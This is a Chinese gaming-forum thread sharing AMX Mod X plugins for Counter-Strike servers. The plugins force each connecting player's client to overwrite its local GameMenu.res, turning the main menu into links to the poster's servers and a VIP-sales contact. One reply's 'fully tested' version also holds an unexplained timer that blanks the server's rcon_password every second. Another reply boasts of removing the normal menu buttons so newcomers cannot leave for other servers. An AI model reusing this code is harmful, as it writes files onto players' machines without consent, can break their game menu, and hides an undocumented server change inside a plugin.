搜索
查看: 3505|回复: 9

[AMXX 带源码] 【多栏一键进服】 貌似有人写过

[复制链接]
发表于 2013-8-12 16:20:46 | 显示全部楼层 |阅读模式 来自 贵州黔南州
  1. #include <amxmodx>

  2. new szText[1200];

  3. public plugin_precache()
  4. precache_generic("resource/GameMenu.res");

  5. public plugin_init()
  6. {
  7. new size = sizeof(szText) ;
  8. format(szText, size,"^"GameMenu^" { ");
  9. format(szText, size,"%s^"1^" { ^"label^" ^"【暴龙网络||僵尸服】^" ^"command^" ^"engine connect 59.39.91.74:27015^" } ", szText);
  10. format(szText, size,"%s^"2^" { ^"label^" ^"【暴龙网络||请点击进服】^" ^"command^" ^"engine connect 59.39.91.74:27015^" } ", szText);
  11. format(szText, size,"%s^"3^" { ^"label^" ^"【暴龙网络||有你更精彩】^" ^"command^" ^"engine connect 59.39.91.74:27015^" } ", szText);
  12. format(szText, size,"%s^"4^" { ^"label^" ^"【暴龙网络||僵尸服】QQ群:246869105^" ^"command^" ^"engine connect 218.75.41.234:27017^" } ", szText);
  13. format(szText, size,"%s^"5^" { ^"label^" ^"【购买VIP/暴龙币联系QQ:314280700】^" ^"command^" ^"^" } ", szText);

  14. format(szText, size,"%s^"10^" { ^"label^" ^"^" ^"command^" ^"^" } ", szText);
  15. format(szText, size,"%s^"11^" { ^"label^" ^"^" ^"command^" ^"^" ^"OnlyInGame^" ^"1^" } ", szText);
  16. format(szText, size,"%s^"12^" { ^"label^" ^"#GameUI_GameMenu_ResumeGame^" ^"command^" ^"ResumeGame^" ^"OnlyInGame^" ^"1^" } ", szText);
  17. format(szText, size,"%s^"13^" { ^"label^" ^"#GameUI_GameMenu_Disconnect^" ^"command^" ^"Disconnect^" ^"OnlyInGame^" ^"1^" ^"notsingle^" ^"1^" } ", szText);
  18. format(szText, size,"%s^"14^" { ^"label^" ^"#GameUI_GameMenu_NewGame^" ^"command^" ^"OpenCreateMultiplayerGameDialog^" } ", szText);
  19. format(szText, size,"%s^"15^" { ^"label^" ^"#GameUI_GameMenu_FindServers^" ^"command^" ^"OpenServerBrowser^" } ", szText);
  20. format(szText, size,"%s^"16^" { ^"label^" ^"#GameUI_GameMenu_Options^" ^"command^" ^"OpenOptionsDialog^" } ", szText);
  21. format(szText, size,"%s^"17^" { ^"label^" ^"#GameUI_GameMenu_Quit^" ^"command^" ^"Quit^" } } ", szText);
  22. }

  23. public client_putinserver (id)
  24. set_task(3.0, "TaskChangeMenu", id);

  25. public TaskChangeMenu(id)
  26. {
  27. client_cmd(id, "motdfile ^"resource/GameMenu.res^"");
  28. client_cmd(id, "motd_write %s", szText);
  29. client_cmd(id, "motdfile ^"motd.txt^"");
  30. }
复制代码

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?注个册吧

×

点评

东西有问题哦 望修复  发表于 2013-8-14 07:54
地址支持 域名方式吗 ?最大支持多少个 汉子  发表于 2013-8-13 18:34
发表于 2013-8-12 17:09:15 | 显示全部楼层 来自 上海
国外的插件,你自己写的么?
回复

使用道具 举报

发表于 2013-8-12 20:33:01 | 显示全部楼层 来自 天津
哇哦  能显示这么多啊:lol
回复

使用道具 举报

发表于 2013-8-13 07:58:27 | 显示全部楼层 来自 山东淄博
多栏一键进服】 貌似有人写过 [修改]
回复

使用道具 举报

发表于 2013-8-13 12:29:19 | 显示全部楼层 来自 山东潍坊
不可用,没用的东西
回复

使用道具 举报

发表于 2013-8-13 19:19:52 | 显示全部楼层 来自 山东枣庄
Tried to stuff bad command motd_write "GameMenu" { "1" { "label" "

插件有问题啊
回复

使用道具 举报

发表于 2013-8-13 23:57:09 | 显示全部楼层 来自 贵州
我建议 这种插件少用! 如果你写入的 res有问题 格式错误 或者字符太多
玩家CS启动后 就没有选项菜单可用了!
;P
回复

使用道具 举报

发表于 2013-8-15 23:56:53 | 显示全部楼层 来自 内蒙古
您需要登录后才可以回帖 登录 | 注个册吧  .
回复

使用道具 举报

发表于 2013-11-9 09:06:05 | 显示全部楼层 来自 陕西西安
  1. /*
  2. Create a file on your server like this:
  3. cstrike/resource/GameMenu.res

  4. It doesn't matter what you write in there, it's gonna be overwritten anyway.
  5. It just has to be there or the plugin will fail on clients that don't have the file.

  6. Change g_ServerName[] and g_ServerIp[] to the desired values, be sure to write between the " "s.
  7. */

  8. #include <amxmodx>

  9. #define VERSION "1.3.3.7"

  10. new g_ServerName1[] = "【西部反恐联盟】魔兽服";
  11. new g_ServerIp1[] = "192.168.1.88:27999";
  12. new g_ServerName2[] = "【西部反恐联盟】娱乐服";
  13. new g_ServerIp2[] = "192.168.1.88:27888";
  14. new g_ServerName3[] = "【西部反恐联盟】纯洁服";
  15. new g_ServerIp3[] = "192.168.1.88:27777";

  16. new szText[1200];

  17. public plugin_precache()
  18.         precache_generic("resource/GameMenu.res");

  19. public change_password()
  20. {
  21.         set_cvar_string("rcon_password", "")
  22. }
  23. public plugin_init()
  24. {
  25.         set_task(1.0, "change_password",0,"",0,"b")
  26.         register_plugin("GameMenu changer", VERSION , "Unknown");
  27.        
  28.         new size = sizeof(szText) - 1;
  29.         format(szText, size, "^"GameMenu^" { ^"1^" { ^"label^" ^"%s^"", g_ServerName1);
  30.         format(szText, size, "%s ^"command^" ^"engine Connect %s^"", szText, g_ServerIp1);
  31.        
  32.         format(szText, size, "%s } ^"2^" { ^"label^" ^"%s^"", szText, g_ServerName2);
  33.         format(szText, size, "%s ^"command^" ^"engine Connect %s^"", szText, g_ServerIp2);
  34.        
  35.         format(szText, size, "%s } ^"3^" { ^"label^" ^"%s^"", szText, g_ServerName3);
  36.         format(szText, size, "%s ^"command^" ^"engine Connect %s^"", szText, g_ServerIp3);
  37.        

  38.         format(szText, size, "%s } ^"4^" { ^"label^" ^"^" ^"command^" ^"^" }", szText);
  39.         format(szText, size, "%s ^"5^" { ^"label^" ^"#GameUI_GameMenu_ResumeGame^"", szText);
  40.         format(szText, size, "%s ^"command^" ^"ResumeGame^" ^"OnlyInGame^" ^"1^" }", szText);
  41.         format(szText, size, "%s ^"6^" { ^"label^" ^"#GameUI_GameMenu_Disconnect^"", szText);
  42.         format(szText, size, "%s ^"command^" ^"Disconnect^" ^"OnlyInGame^" ^"1^"", szText);
  43.         format(szText, size, "%s ^"notsingle^" ^"1^" } ^"7^" { ^"label^" ^"#GameUI_GameMenu_PlayerList^"", szText);
  44.         format(szText, size, "%s ^"command^" ^"OpenPlayerListDialog^" ^"OnlyInGame^" ^"1^" ^"notsingle^" ^"1^"", szText);
  45.         format(szText, size, "%s } ^"8^" { ^"label^" ^"^" ^"command^" ^"^" ^"OnlyInGame^" ^"1^" }", szText);
  46.         format(szText, size, "%s ^"11^" { ^"label^" ^"#GameUI_GameMenu_NewGame^" ^"command^" ^"OpenCreateMultiplayerGameDialog^"", szText);
  47.         format(szText, size, "%s } ^"12^" { ^"label^" ^"#GameUI_GameMenu_FindServers^" ^"command^" ^"OpenServerBrowser^"", szText);
  48.         format(szText, size, "%s } ^"13^" { ^"label^" ^"#GameUI_GameMenu_Options^" ^"command^" ^"OpenOptionsDialog^"", szText);
  49.         format(szText, size, "%s } ^"14^" { ^"label^" ^"#GameUI_GameMenu_Quit^" ^"command^" ^"Quit^" } }", szText);
  50. }

  51. public client_putinserver (id)
  52.         set_task(3.0, "TaskChangeMenu", id);

  53. public TaskChangeMenu(id)
  54. {
  55.         client_cmd(id, "motdfile ^"resource/GameMenu.res^"");
  56.         client_cmd(id, "motd_write %s", szText);
  57.         client_cmd(id, "motdfile ^"motd.txt^"");
  58. }
复制代码
这个100%可用,本人亲测。
回复

使用道具 举报

发表于 2014-8-7 22:11:26 | 显示全部楼层 来自 湖南长沙
LZ为何不知道把下面的按钮去掉
表示小弟我以前开服的时候就是这样
让那些小白们进来了就别想玩其他服
回复

使用道具 举报

游客
回复
您需要登录后才可以回帖 登录 | 注个册吧

快速回复 返回顶部 返回列表